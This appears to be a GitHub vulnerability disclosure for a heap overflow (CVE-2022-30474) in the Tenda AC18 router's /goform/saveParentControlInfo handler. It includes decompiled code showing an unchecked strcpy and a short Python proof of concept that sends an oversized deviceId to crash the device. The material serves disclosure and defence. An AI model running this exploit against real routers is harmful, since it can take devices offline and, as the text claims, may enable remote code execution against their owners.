lcyfrank [*] Some CNVDs are assigned ... on Jun 5 History

..

README.md	6 months ago
vuln.png	7 months ago

README.md

Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/saveParentControlInfo` page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a **heap overflow** vulnerability in function `saveParentControlInfo` .

In function `saveParentControlInfo` it reads user provided parameter `deviceId` into `src` , and this variable is passed into function `strcpy` without any length check, which may overflow the heap-based buffer `ptr` .

```
46  v29 = 0;
47  src = (char *)websgetvar(a1, "deviceId", (int)&unk_EDB68);
48  v27 = (char *)websgetvar(a1, "enable", (int)&unk_EDB68);
49  nptr = (char *)websgetvar(a1, "time", (int)&unk_EDB68);
50  v25 = (char *)websgetvar(a1, "url_enable", (int)&unk_EDB68);
51  v24 = (char *)websgetvar(a1, "urls", (int)&unk_EDB68);
52  v23 = (char *)websgetvar(a1, "day", (int)&unk_EDB68);
53  v22 = websgetvar(a1, "block", (int)&unk_EDB68);
54  v21 = websgetvar(a1, "connectType", (int)&unk_EDB68);
55  v20 = (char *)websgetvar(a1, "limit_type", (int)"1");
56  v19 = websgetvar(a1, "deviceName", (int)&unk_EDB68);
57  if ( *v19 )
58    sub_C6BB0(v19, src);
59  if ( *nptr )
60  {
61    memset(s1, 0, sizeof(s1));
62    memset(s2, 0, sizeof(s2));
63    sscanf(nptr, "%[^-]-%s", s1, s2);
64    if ( !strcmp((const char *)s1, (const char *)s2) )
65    {
66      sub_2C40C(
67        a1,
68        "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
69      sub_2C40C(a1, "{\"errCode\":%d}", 1);
70      return sub_2C954(a1, 200);
71    }
72  }
73  ptr = malloc(0x254u);
74  memset(ptr, 0, 0x254u);
75  strcpy((char *)ptr + 2, src);
76  v17 = malloc(0x254u);
77  memset(v17, 0, 0x254u);
78  SetValue((int)"parent.global.en", (int)"1");
79  SetValue((int)"filter.url.en", (int)"1");
80  SetValue((int)"filter.mac.en", (int)"1");
81  strcpy((char *)v17 + 2, src);
82  strcpy((char *)v17 + 34, nptr);
```

So by requesting the page `/goform/saveParentControlInfo` , the attacker can easily perform a **Deny of Service Attack** or **Remote Code Execution** with carefully crafted overflow data.

PoC

```
import requests

IP = "10.10.10.1"
url = f"http://{IP}/goform/saveParentControlInfo?"
url += "deviceId=" + "s" * 0x1000

response = requests.get(url)
```

Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30474)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41848)

Acknowledge

Credit to @peanuts and @cylin from IIE, CAS.